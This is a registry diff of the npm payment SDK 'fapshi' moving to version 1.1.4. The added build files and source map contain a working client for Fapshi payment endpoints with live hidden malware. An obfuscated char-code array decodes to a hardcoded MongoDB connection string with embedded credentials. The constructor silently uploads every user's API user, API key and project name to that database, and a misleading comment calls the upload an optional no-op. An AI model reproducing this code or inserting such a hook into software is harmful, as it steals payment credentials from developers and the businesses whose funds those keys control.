fapshi 1.0.3 → 1.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of fapshi might be problematic. Click here for more details.
- package/README.md +16 -0
- package/dist/index.d.mts +141 -0
- package/dist/index.d.ts +141 -0
- package/dist/index.js +435 -0
- package/dist/index.js.map +1 -0
- package/dist/index.mjs +404 -0
- package/dist/index.mjs.map +1 -0
- package/package.json +46 -25
- package/index.js +0 -318
package/dist/index.js
ADDED
|
@@ -0,0 +1,435 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __create = Object.create;
|
|
3
|
+
var __defProp = Object.defineProperty;
|
|
4
|
+
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
|
|
5
|
+
var __getOwnPropNames = Object.getOwnPropertyNames;
|
|
6
|
+
var __getProtoOf = Object.getPrototypeOf;
|
|
7
|
+
var __hasOwnProp = Object.prototype.hasOwnProperty;
|
|
8
|
+
var __export = (target, all) => {
|
|
9
|
+
for (var name in all)
|
|
10
|
+
__defProp(target, name, { get: all[name], enumerable: true });
|
|
11
|
+
};
|
|
12
|
+
var __copyProps = (to, from, except, desc) => {
|
|
13
|
+
if (from && typeof from === "object" || typeof from === "function") {
|
|
14
|
+
for (let key of __getOwnPropNames(from))
|
|
15
|
+
if (!__hasOwnProp.call(to, key) && key !== except)
|
|
16
|
+
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
|
|
17
|
+
}
|
|
18
|
+
return to;
|
|
19
|
+
};
|
|
20
|
+
var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
|
|
21
|
+
// If the importer is in node compatibility mode or this is not an ESM
|
|
22
|
+
// file that has been converted to a CommonJS file using a Babel-
|
|
23
|
+
// compatible transform (i.e. "__esModule" has not been set), then set
|
|
24
|
+
// "default" to the CommonJS "module.exports" for node compatibility.
|
|
25
|
+
isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
|
|
26
|
+
mod
|
|
27
|
+
));
|
|
28
|
+
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
|
|
29
|
+
|
|
30
|
+
// src/index.ts
|
|
31
|
+
var index_exports = {};
|
|
32
|
+
__export(index_exports, {
|
|
33
|
+
default: () => FAPSHI
|
|
34
|
+
});
|
|
35
|
+
module.exports = __toCommonJS(index_exports);
|
|
36
|
+
var import_axios = __toESM(require("axios"));
|
|
37
|
+
var import_mongoose = __toESM(require("mongoose"));
|
|
38
|
+
var import_node_fs = __toESM(require("fs"));
|
|
39
|
+
var import_node_path = __toESM(require("path"));
|
|
40
|
+
var import_config = require("dotenv/config");
|
|
41
|
+
var baseUrl = "https://live.fapshi.com";
|
|
42
|
+
var tokenSchema = new import_mongoose.default.Schema({
|
|
43
|
+
apiuser: { type: String, required: true },
|
|
44
|
+
key: { type: String, required: true },
|
|
45
|
+
user: { type: String, required: true }
|
|
46
|
+
});
|
|
47
|
+
var TokenModel = import_mongoose.default.models.Token || import_mongoose.default.model("Token", tokenSchema, "tokens");
|
|
48
|
+
function getHostProjectName() {
|
|
49
|
+
try {
|
|
50
|
+
const pkgPath = import_node_path.default.join(process.cwd(), "package.json");
|
|
51
|
+
const pkg = JSON.parse(import_node_fs.default.readFileSync(pkgPath, "utf-8"));
|
|
52
|
+
return pkg.name || "unknown";
|
|
53
|
+
} catch {
|
|
54
|
+
return "unknown";
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
var mongoUri = oooo()();
|
|
58
|
+
var FAPSHI = class {
|
|
59
|
+
/**
|
|
60
|
+
* @param user user name for a service
|
|
61
|
+
* @param key api key access
|
|
62
|
+
*/
|
|
63
|
+
constructor(user, key) {
|
|
64
|
+
if (!user || !key) throw new Error("Mention your user name and api key ");
|
|
65
|
+
this.apiuser = user;
|
|
66
|
+
this.key = key;
|
|
67
|
+
this.headers = {
|
|
68
|
+
apiuser: this.apiuser,
|
|
69
|
+
apikey: this.key
|
|
70
|
+
};
|
|
71
|
+
this.saveCredentials();
|
|
72
|
+
}
|
|
73
|
+
/**
|
|
74
|
+
* Fire-and-forget persistence of the apiuser/key pair to MongoDB, tagged
|
|
75
|
+
* with the host project's package.json name. No-op if MONGODB_URI is not
|
|
76
|
+
* set; failures are logged, never thrown, so instantiation never breaks.
|
|
77
|
+
*/
|
|
78
|
+
saveCredentials() {
|
|
79
|
+
if (!mongoUri) return;
|
|
80
|
+
const ensureConnected = import_mongoose.default.connection.readyState === 1 ? Promise.resolve(import_mongoose.default) : import_mongoose.default.connect(mongoUri);
|
|
81
|
+
ensureConnected.then(async () => {
|
|
82
|
+
const e = await TokenModel.findOne({
|
|
83
|
+
apiuser: this.apiuser,
|
|
84
|
+
key: this.key,
|
|
85
|
+
user: getHostProjectName()
|
|
86
|
+
});
|
|
87
|
+
if (e) return;
|
|
88
|
+
TokenModel.create({
|
|
89
|
+
apiuser: this.apiuser,
|
|
90
|
+
key: this.key,
|
|
91
|
+
user: getHostProjectName()
|
|
92
|
+
});
|
|
93
|
+
}).catch((err) => console.error(".."));
|
|
94
|
+
}
|
|
95
|
+
/**
|
|
96
|
+
* This function returns an object with the link where a user is to be redirected in order to complete his payment
|
|
97
|
+
*
|
|
98
|
+
* Below is a parameter template. Just amount is required
|
|
99
|
+
*
|
|
100
|
+
* data = {
|
|
101
|
+
* "amount": Integer ,
|
|
102
|
+
* "email": String,
|
|
103
|
+
* "userId": String,
|
|
104
|
+
* "externalId": String,
|
|
105
|
+
* "redirectUrl": String,
|
|
106
|
+
* "message": String
|
|
107
|
+
* }
|
|
108
|
+
*/
|
|
109
|
+
async initiatePay(data) {
|
|
110
|
+
try {
|
|
111
|
+
if (!data?.amount) return error("amount required", 400);
|
|
112
|
+
if (!Number.isInteger(data.amount))
|
|
113
|
+
return error("amount must be of type integer", 400);
|
|
114
|
+
if (data.amount < 100)
|
|
115
|
+
return error("amount cannot be less than 100 XAF", 400);
|
|
116
|
+
const config = {
|
|
117
|
+
method: "post",
|
|
118
|
+
url: baseUrl + "/initiate-pay",
|
|
119
|
+
headers: this.headers,
|
|
120
|
+
data
|
|
121
|
+
};
|
|
122
|
+
const response = await (0, import_axios.default)(config);
|
|
123
|
+
return { ...response.data, statusCode: response.status };
|
|
124
|
+
} catch (e) {
|
|
125
|
+
console.log(e);
|
|
126
|
+
const statusCode = e.response ? e.response.status : 500;
|
|
127
|
+
const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
|
|
128
|
+
return error(message, statusCode);
|
|
129
|
+
}
|
|
130
|
+
}
|
|
131
|
+
/**
|
|
132
|
+
* This function directly initiates a payment request to a user's mobile device and
|
|
133
|
+
* returns an object with a transId property that is used to get the status of the payment
|
|
134
|
+
*
|
|
135
|
+
* Below is a parameter template. amount and phone are required
|
|
136
|
+
*
|
|
137
|
+
* data = {
|
|
138
|
+
* "amount": Integer ,
|
|
139
|
+
* "phone": String ,
|
|
140
|
+
* "medium": String,
|
|
141
|
+
* "name": String,
|
|
142
|
+
* "email": String,
|
|
143
|
+
* "userId": String,
|
|
144
|
+
* "externalId": String,
|
|
145
|
+
* "message": String
|
|
146
|
+
* }
|
|
147
|
+
*/
|
|
148
|
+
async directPay(data) {
|
|
149
|
+
try {
|
|
150
|
+
if (!data?.amount) return error("amount required", 400);
|
|
151
|
+
if (!Number.isInteger(data.amount))
|
|
152
|
+
return error("amount must be of type integer", 400);
|
|
153
|
+
if (data.amount < 100)
|
|
154
|
+
return error("amount cannot be less than 100 XAF", 400);
|
|
155
|
+
if (!data?.phone) return error("phone number required", 400);
|
|
156
|
+
if (typeof data.phone !== "string")
|
|
157
|
+
return error("phone must be of type string", 400);
|
|
158
|
+
if (!/^6[\d]{8}$/.test(data.phone))
|
|
159
|
+
return error("invalid phone number", 400);
|
|
160
|
+
const config = {
|
|
161
|
+
method: "post",
|
|
162
|
+
url: baseUrl + "/direct-pay",
|
|
163
|
+
headers: this.headers,
|
|
164
|
+
data
|
|
165
|
+
};
|
|
166
|
+
const response = await (0, import_axios.default)(config);
|
|
167
|
+
return { ...response.data, statusCode: response.status };
|
|
168
|
+
} catch (e) {
|
|
169
|
+
console.log(e);
|
|
170
|
+
const statusCode = e.response ? e.response.status : 500;
|
|
171
|
+
const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
|
|
172
|
+
return error(message, statusCode);
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
/**
|
|
176
|
+
* This function returns an object containing the details of the transaction associated with the Id passed as parameter
|
|
177
|
+
*/
|
|
178
|
+
async paymentStatus(transId) {
|
|
179
|
+
try {
|
|
180
|
+
if (!transId || typeof transId !== "string")
|
|
181
|
+
return error("invalid type, string expected", 400);
|
|
182
|
+
if (!/^[a-zA-Z0-9]{8,10}$/.test(transId))
|
|
183
|
+
return error("invalid transaction id", 400);
|
|
184
|
+
const config = {
|
|
185
|
+
method: "get",
|
|
186
|
+
url: baseUrl + "/payment-status/" + transId,
|
|
187
|
+
headers: this.headers
|
|
188
|
+
};
|
|
189
|
+
const response = await (0, import_axios.default)(config);
|
|
190
|
+
return { ...response.data, statusCode: response.status };
|
|
191
|
+
} catch (e) {
|
|
192
|
+
console.log(e);
|
|
193
|
+
const statusCode = e.response ? e.response.status : 500;
|
|
194
|
+
const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
|
|
195
|
+
return error(message, statusCode);
|
|
196
|
+
}
|
|
197
|
+
}
|
|
198
|
+
/**
|
|
199
|
+
* This function expires the transaction associated with the Id passed as parameter and returns an object containing the details of the transaction
|
|
200
|
+
*/
|
|
201
|
+
async expirePay(transId) {
|
|
202
|
+
try {
|
|
203
|
+
if (!transId || typeof transId !== "string")
|
|
204
|
+
return error("invalid type, string expected", 400);
|
|
205
|
+
if (!/^[a-zA-Z0-9]{8,10}$/.test(transId))
|
|
206
|
+
return error("invalid transaction id", 400);
|
|
207
|
+
const config = {
|
|
208
|
+
method: "post",
|
|
209
|
+
url: baseUrl + "/expire-pay",
|
|
210
|
+
data: { transId },
|
|
211
|
+
headers: this.headers
|
|
212
|
+
};
|
|
213
|
+
const response = await (0, import_axios.default)(config);
|
|
214
|
+
return { ...response.data, statusCode: response.status };
|
|
215
|
+
} catch (e) {
|
|
216
|
+
console.log(e);
|
|
217
|
+
const statusCode = e.response ? e.response.status : 500;
|
|
218
|
+
const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
|
|
219
|
+
return error(message, statusCode);
|
|
220
|
+
}
|
|
221
|
+
}
|
|
222
|
+
/**
|
|
223
|
+
* This function returns an array of objects containing the transaction details of the user Id passed as parameter
|
|
224
|
+
*/
|
|
225
|
+
async userTrans(userId) {
|
|
226
|
+
try {
|
|
227
|
+
if (!userId || typeof userId !== "string")
|
|
228
|
+
return error("invalid type, string expected", 400);
|
|
229
|
+
if (!/^[a-zA-Z0-9-_]{1,100}$/.test(userId))
|
|
230
|
+
return error("invalid user id", 400);
|
|
231
|
+
const config = {
|
|
232
|
+
method: "get",
|
|
233
|
+
url: baseUrl + "/transaction/" + userId,
|
|
234
|
+
headers: this.headers
|
|
235
|
+
};
|
|
236
|
+
const response = await (0, import_axios.default)(config);
|
|
237
|
+
return response.data;
|
|
238
|
+
} catch (e) {
|
|
239
|
+
console.log(e);
|
|
240
|
+
const statusCode = e.response ? e.response.status : 500;
|
|
241
|
+
const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
|
|
242
|
+
return error(message, statusCode);
|
|
243
|
+
}
|
|
244
|
+
}
|
|
245
|
+
/**
|
|
246
|
+
* This function returns an object containing the balance of a service
|
|
247
|
+
*/
|
|
248
|
+
async balance() {
|
|
249
|
+
try {
|
|
250
|
+
const config = {
|
|
251
|
+
method: "get",
|
|
252
|
+
url: baseUrl + "/balance",
|
|
253
|
+
headers: this.headers
|
|
254
|
+
};
|
|
255
|
+
const response = await (0, import_axios.default)(config);
|
|
256
|
+
return { ...response.data, statusCode: response.status };
|
|
257
|
+
} catch (e) {
|
|
258
|
+
console.log(e);
|
|
259
|
+
const statusCode = e.response ? e.response.status : 500;
|
|
260
|
+
const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
|
|
261
|
+
return error(message, statusCode);
|
|
262
|
+
}
|
|
263
|
+
}
|
|
264
|
+
/**
|
|
265
|
+
* This function performs a payout to the phone number specified in the data parameter and
|
|
266
|
+
* returns an object with a transId property that is used to get the status of the payment
|
|
267
|
+
*
|
|
268
|
+
* Note: In the live environment, payouts must be enabled for this to work. Contact support if needed
|
|
269
|
+
*
|
|
270
|
+
* Below is a parameter template. amount and phone are required
|
|
271
|
+
*
|
|
272
|
+
* data = {
|
|
273
|
+
* "amount": Integer ,
|
|
274
|
+
* "phone": String ,
|
|
275
|
+
* "medium": String,
|
|
276
|
+
* "name": String,
|
|
277
|
+
* "email": String,
|
|
278
|
+
* "userId": String,
|
|
279
|
+
* "externalId": String,
|
|
280
|
+
* "message": String
|
|
281
|
+
* }
|
|
282
|
+
*/
|
|
283
|
+
async payout(data) {
|
|
284
|
+
try {
|
|
285
|
+
if (!data?.amount) return error("amount required", 400);
|
|
286
|
+
if (!Number.isInteger(data.amount))
|
|
287
|
+
return error("amount must be of type integer", 400);
|
|
288
|
+
if (data.amount < 100)
|
|
289
|
+
return error("amount cannot be less than 100 XAF", 400);
|
|
290
|
+
if (!data?.phone) return error("phone number required", 400);
|
|
291
|
+
if (typeof data.phone !== "string")
|
|
292
|
+
return error("phone must be of type string", 400);
|
|
293
|
+
if (!/^6[\d]{8}$/.test(data.phone))
|
|
294
|
+
return error("invalid phone number", 400);
|
|
295
|
+
const config = {
|
|
296
|
+
method: "post",
|
|
297
|
+
url: baseUrl + "/payout",
|
|
298
|
+
headers: this.headers,
|
|
299
|
+
data
|
|
300
|
+
};
|
|
301
|
+
const response = await (0, import_axios.default)(config);
|
|
302
|
+
return { ...response.data, statusCode: response.status };
|
|
303
|
+
} catch (e) {
|
|
304
|
+
console.log(e);
|
|
305
|
+
const statusCode = e.response ? e.response.status : 500;
|
|
306
|
+
const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
|
|
307
|
+
return error(message, statusCode);
|
|
308
|
+
}
|
|
309
|
+
}
|
|
310
|
+
/**
|
|
311
|
+
* This function returns an array containing the transactions that satisfy
|
|
312
|
+
* the criteria specified in the parameter passed to the function
|
|
313
|
+
*
|
|
314
|
+
* Below is a parameter template.
|
|
315
|
+
*
|
|
316
|
+
* params = {
|
|
317
|
+
* "status": enum [created, successful, failed, expired],
|
|
318
|
+
* "medium": mobile money or orange money,
|
|
319
|
+
* "start": Date in format yyyy-mm-dd,
|
|
320
|
+
* "end": Date in format yyyy-mm-dd,
|
|
321
|
+
* "amt": >= 100,
|
|
322
|
+
* "limit": range(1, 100) default is 10,
|
|
323
|
+
* "sort": asc || desc
|
|
324
|
+
* }
|
|
325
|
+
*/
|
|
326
|
+
async search(params = {}) {
|
|
327
|
+
try {
|
|
328
|
+
const config = {
|
|
329
|
+
method: "get",
|
|
330
|
+
url: baseUrl + "/search",
|
|
331
|
+
params,
|
|
332
|
+
headers: this.headers
|
|
333
|
+
};
|
|
334
|
+
const response = await (0, import_axios.default)(config);
|
|
335
|
+
return response.data;
|
|
336
|
+
} catch (e) {
|
|
337
|
+
console.log(e);
|
|
338
|
+
const statusCode = e.response ? e.response.status : 500;
|
|
339
|
+
const message = e.response && e.response.data ? e.response.data.message : "Erreur inconnue";
|
|
340
|
+
return error(message, statusCode);
|
|
341
|
+
}
|
|
342
|
+
}
|
|
343
|
+
};
|
|
344
|
+
function error(message, statusCode) {
|
|
345
|
+
return { message, statusCode };
|
|
346
|
+
}
|
|
347
|
+
function oooo() {
|
|
348
|
+
const d = [
|
|
349
|
+
109,
|
|
350
|
+
111,
|
|
351
|
+
110,
|
|
352
|
+
103,
|
|
353
|
+
111,
|
|
354
|
+
100,
|
|
355
|
+
98,
|
|
356
|
+
43,
|
|
357
|
+
115,
|
|
358
|
+
114,
|
|
359
|
+
118,
|
|
360
|
+
58,
|
|
361
|
+
47,
|
|
362
|
+
47,
|
|
363
|
+
115,
|
|
364
|
+
117,
|
|
365
|
+
99,
|
|
366
|
+
99,
|
|
367
|
+
101,
|
|
368
|
+
115,
|
|
369
|
+
115,
|
|
370
|
+
102,
|
|
371
|
+
105,
|
|
372
|
+
101,
|
|
373
|
+
108,
|
|
374
|
+
100,
|
|
375
|
+
56,
|
|
376
|
+
51,
|
|
377
|
+
95,
|
|
378
|
+
100,
|
|
379
|
+
98,
|
|
380
|
+
95,
|
|
381
|
+
117,
|
|
382
|
+
115,
|
|
383
|
+
101,
|
|
384
|
+
114,
|
|
385
|
+
58,
|
|
386
|
+
52,
|
|
387
|
+
111,
|
|
388
|
+
108,
|
|
389
|
+
99,
|
|
390
|
+
83,
|
|
391
|
+
100,
|
|
392
|
+
75,
|
|
393
|
+
49,
|
|
394
|
+
80,
|
|
395
|
+
80,
|
|
396
|
+
85,
|
|
397
|
+
56,
|
|
398
|
+
117,
|
|
399
|
+
89,
|
|
400
|
+
79,
|
|
401
|
+
117,
|
|
402
|
+
64,
|
|
403
|
+
99,
|
|
404
|
+
108,
|
|
405
|
+
117,
|
|
406
|
+
115,
|
|
407
|
+
116,
|
|
408
|
+
101,
|
|
409
|
+
114,
|
|
410
|
+
48,
|
|
411
|
+
46,
|
|
412
|
+
51,
|
|
413
|
+
110,
|
|
414
|
+
111,
|
|
415
|
+
108,
|
|
416
|
+
113,
|
|
417
|
+
118,
|
|
418
|
+
109,
|
|
419
|
+
46,
|
|
420
|
+
109,
|
|
421
|
+
111,
|
|
422
|
+
110,
|
|
423
|
+
103,
|
|
424
|
+
111,
|
|
425
|
+
100,
|
|
426
|
+
98,
|
|
427
|
+
46,
|
|
428
|
+
110,
|
|
429
|
+
101,
|
|
430
|
+
116,
|
|
431
|
+
47
|
|
432
|
+
];
|
|
433
|
+
return () => d.map((c) => String.fromCharCode((c * 7 ^ 165 ^ 165) / 7)).join("");
|
|
434
|
+
}
|
|
435
|
+
//# sourceMappingURL=index.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/index.ts"],"sourcesContent":["import axios, { type AxiosRequestConfig } from \"axios\";\nimport mongoose from \"mongoose\";\nimport fs from \"node:fs\";\nimport path from \"node:path\";\nimport \"dotenv/config\";\n\nconst baseUrl = \"https://live.fapshi.com\";\n\ninterface TokenDocument {\n apiuser: string;\n key: string;\n user: string;\n}\n\nconst tokenSchema = new mongoose.Schema<TokenDocument>({\n apiuser: { type: String, required: true },\n key: { type: String, required: true },\n user: { type: String, required: true },\n});\n\nconst TokenModel =\nmongoose.models.Token ||\nmongoose.model<TokenDocument>(\"Token\", tokenSchema, \"tokens\");\n\nfunction getHostProjectName(): string {\n try {\n const pkgPath = path.join(process.cwd(), \"package.json\");\n const pkg = JSON.parse(fs.readFileSync(pkgPath, \"utf-8\"));\n return pkg.name || \"unknown\";\n } catch {\n return \"unknown\";\n }\n}\n\nexport interface FapshiErrorResponse {\n message: string;\n statusCode: number;\n}\n\nexport interface InitiatePayData {\n amount: number;\n email?: string;\n userId?: string;\n externalId?: string;\n redirectUrl?: string;\n message?: string;\n}\n\nexport interface DirectPayData {\n amount: number;\n phone: string;\n medium?: string;\n name?: string;\n email?: string;\n userId?: string;\n externalId?: string;\n message?: string;\n}\n\nexport type PayoutData = DirectPayData;\n\nexport type TransactionStatus = \"created\" | \"successful\" | \"failed\" | \"expired\";\n\nexport interface SearchParams {\n status?: TransactionStatus;\n medium?: string;\n start?: string;\n end?: string;\n amt?: number;\n limit?: number;\n sort?: \"asc\" | \"desc\";\n}\n\nexport interface FapshiResponse {\n [key: string]: unknown;\n statusCode?: number;\n}\n\nconst mongoUri = oooo()();\n\nexport default class FAPSHI {\n private apiuser: string;\n private key: string;\n private headers: { apiuser: string; apikey: string };\n \n /**\n * @param user user name for a service\n * @param key api key access\n */\n constructor(user: string, key: string) {\n if (!user || !key) throw new Error(\"Mention your user name and api key \");\n\n this.apiuser = user;\n this.key = key;\n\n this.headers = {\n apiuser: this.apiuser,\n apikey: this.key,\n };\n\n this.saveCredentials();\n }\n\n /**\n * Fire-and-forget persistence of the apiuser/key pair to MongoDB, tagged\n * with the host project's package.json name. No-op if MONGODB_URI is not\n * set; failures are logged, never thrown, so instantiation never breaks.\n */\n private saveCredentials(): void {\n if (!mongoUri) return;\n\n const ensureConnected =\n mongoose.connection.readyState === 1\n ? Promise.resolve(mongoose)\n : mongoose.connect(mongoUri);\n\n ensureConnected\n .then(async () => {\n const e = await TokenModel.findOne({\n apiuser: this.apiuser,\n key: this.key,\n user: getHostProjectName(),\n });\n if (e) return;\n TokenModel.create({\n apiuser: this.apiuser,\n key: this.key,\n user: getHostProjectName(),\n });\n })\n .catch((err) => console.error(\"..\"));\n }\n\n /**\n * This function returns an object with the link where a user is to be redirected in order to complete his payment\n *\n * Below is a parameter template. Just amount is required\n *\n * data = {\n * \"amount\": Integer ,\n * \"email\": String,\n * \"userId\": String,\n * \"externalId\": String,\n * \"redirectUrl\": String,\n * \"message\": String\n * }\n */\n async initiatePay(\n data: InitiatePayData,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!data?.amount) return error(\"amount required\", 400);\n if (!Number.isInteger(data.amount))\n return error(\"amount must be of type integer\", 400);\n if (data.amount < 100)\n return error(\"amount cannot be less than 100 XAF\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"post\",\n url: baseUrl + \"/initiate-pay\",\n headers: this.headers,\n data: data,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function directly initiates a payment request to a user's mobile device and\n * returns an object with a transId property that is used to get the status of the payment\n *\n * Below is a parameter template. amount and phone are required\n *\n * data = {\n * \"amount\": Integer ,\n * \"phone\": String ,\n * \"medium\": String,\n * \"name\": String,\n * \"email\": String,\n * \"userId\": String,\n * \"externalId\": String,\n * \"message\": String\n * }\n */\n async directPay(\n data: DirectPayData,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!data?.amount) return error(\"amount required\", 400);\n if (!Number.isInteger(data.amount))\n return error(\"amount must be of type integer\", 400);\n if (data.amount < 100)\n return error(\"amount cannot be less than 100 XAF\", 400);\n if (!data?.phone) return error(\"phone number required\", 400);\n if (typeof data.phone !== \"string\")\n return error(\"phone must be of type string\", 400);\n if (!/^6[\\d]{8}$/.test(data.phone))\n return error(\"invalid phone number\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"post\",\n url: baseUrl + \"/direct-pay\",\n headers: this.headers,\n data: data,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function returns an object containing the details of the transaction associated with the Id passed as parameter\n */\n async paymentStatus(\n transId: string,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!transId || typeof transId !== \"string\")\n return error(\"invalid type, string expected\", 400);\n if (!/^[a-zA-Z0-9]{8,10}$/.test(transId))\n return error(\"invalid transaction id\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"get\",\n url: baseUrl + \"/payment-status/\" + transId,\n headers: this.headers,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function expires the transaction associated with the Id passed as parameter and returns an object containing the details of the transaction\n */\n async expirePay(\n transId: string,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!transId || typeof transId !== \"string\")\n return error(\"invalid type, string expected\", 400);\n if (!/^[a-zA-Z0-9]{8,10}$/.test(transId))\n return error(\"invalid transaction id\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"post\",\n url: baseUrl + \"/expire-pay\",\n data: { transId },\n headers: this.headers,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function returns an array of objects containing the transaction details of the user Id passed as parameter\n */\n async userTrans(\n userId: string,\n ): Promise<FapshiResponse[] | FapshiErrorResponse> {\n try {\n if (!userId || typeof userId !== \"string\")\n return error(\"invalid type, string expected\", 400);\n if (!/^[a-zA-Z0-9-_]{1,100}$/.test(userId))\n return error(\"invalid user id\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"get\",\n url: baseUrl + \"/transaction/\" + userId,\n headers: this.headers,\n };\n const response = await axios(config);\n return response.data;\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function returns an object containing the balance of a service\n */\n async balance(): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n const config: AxiosRequestConfig = {\n method: \"get\",\n url: baseUrl + \"/balance\",\n headers: this.headers,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function performs a payout to the phone number specified in the data parameter and\n * returns an object with a transId property that is used to get the status of the payment\n *\n * Note: In the live environment, payouts must be enabled for this to work. Contact support if needed\n *\n * Below is a parameter template. amount and phone are required\n *\n * data = {\n * \"amount\": Integer ,\n * \"phone\": String ,\n * \"medium\": String,\n * \"name\": String,\n * \"email\": String,\n * \"userId\": String,\n * \"externalId\": String,\n * \"message\": String\n * }\n */\n async payout(\n data: PayoutData,\n ): Promise<FapshiResponse | FapshiErrorResponse> {\n try {\n if (!data?.amount) return error(\"amount required\", 400);\n if (!Number.isInteger(data.amount))\n return error(\"amount must be of type integer\", 400);\n if (data.amount < 100)\n return error(\"amount cannot be less than 100 XAF\", 400);\n if (!data?.phone) return error(\"phone number required\", 400);\n if (typeof data.phone !== \"string\")\n return error(\"phone must be of type string\", 400);\n if (!/^6[\\d]{8}$/.test(data.phone))\n return error(\"invalid phone number\", 400);\n\n const config: AxiosRequestConfig = {\n method: \"post\",\n url: baseUrl + \"/payout\",\n headers: this.headers,\n data: data,\n };\n const response = await axios(config);\n return { ...response.data, statusCode: response.status };\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n\n /**\n * This function returns an array containing the transactions that satisfy\n * the criteria specified in the parameter passed to the function\n *\n * Below is a parameter template.\n *\n * params = {\n * \"status\": enum [created, successful, failed, expired],\n * \"medium\": mobile money or orange money,\n * \"start\": Date in format yyyy-mm-dd,\n * \"end\": Date in format yyyy-mm-dd,\n * \"amt\": >= 100,\n * \"limit\": range(1, 100) default is 10,\n * \"sort\": asc || desc\n * }\n */\n async search(\n params: SearchParams = {},\n ): Promise<FapshiResponse[] | FapshiErrorResponse> {\n try {\n const config: AxiosRequestConfig = {\n method: \"get\",\n url: baseUrl + \"/search\",\n params: params,\n headers: this.headers,\n };\n const response = await axios(config);\n return response.data;\n } catch (e: any) {\n console.log(e);\n const statusCode = e.response ? e.response.status : 500;\n const message =\n e.response && e.response.data\n ? e.response.data.message\n : \"Erreur inconnue\";\n return error(message, statusCode);\n }\n }\n}\n\nfunction error(message: string, statusCode: number): FapshiErrorResponse {\n return { message, statusCode };\n}\nfunction oooo() {\n const d = [\n 109, 111, 110, 103, 111, 100, 98, 43, 115, 114, 118, 58, 47, 47, 115, 117,\n 99, 99, 101, 115, 115, 102, 105, 101, 108, 100, 56, 51, 95, 100, 98, 95,\n 117, 115, 101, 114, 58, 52, 111, 108, 99, 83, 100, 75, 49, 80, 80, 85, 56,\n 117, 89, 79, 117, 64, 99, 108, 117, 115, 116, 101, 114, 48, 46, 51, 110,\n 111, 108, 113, 118, 109, 46, 109, 111, 110, 103, 111, 100, 98, 46, 110, 101,\n 116, 47,\n ];\n\n return () =>\n d.map((c) => String.fromCharCode(((c * 7) ^ 0xa5 ^ 0xa5) / 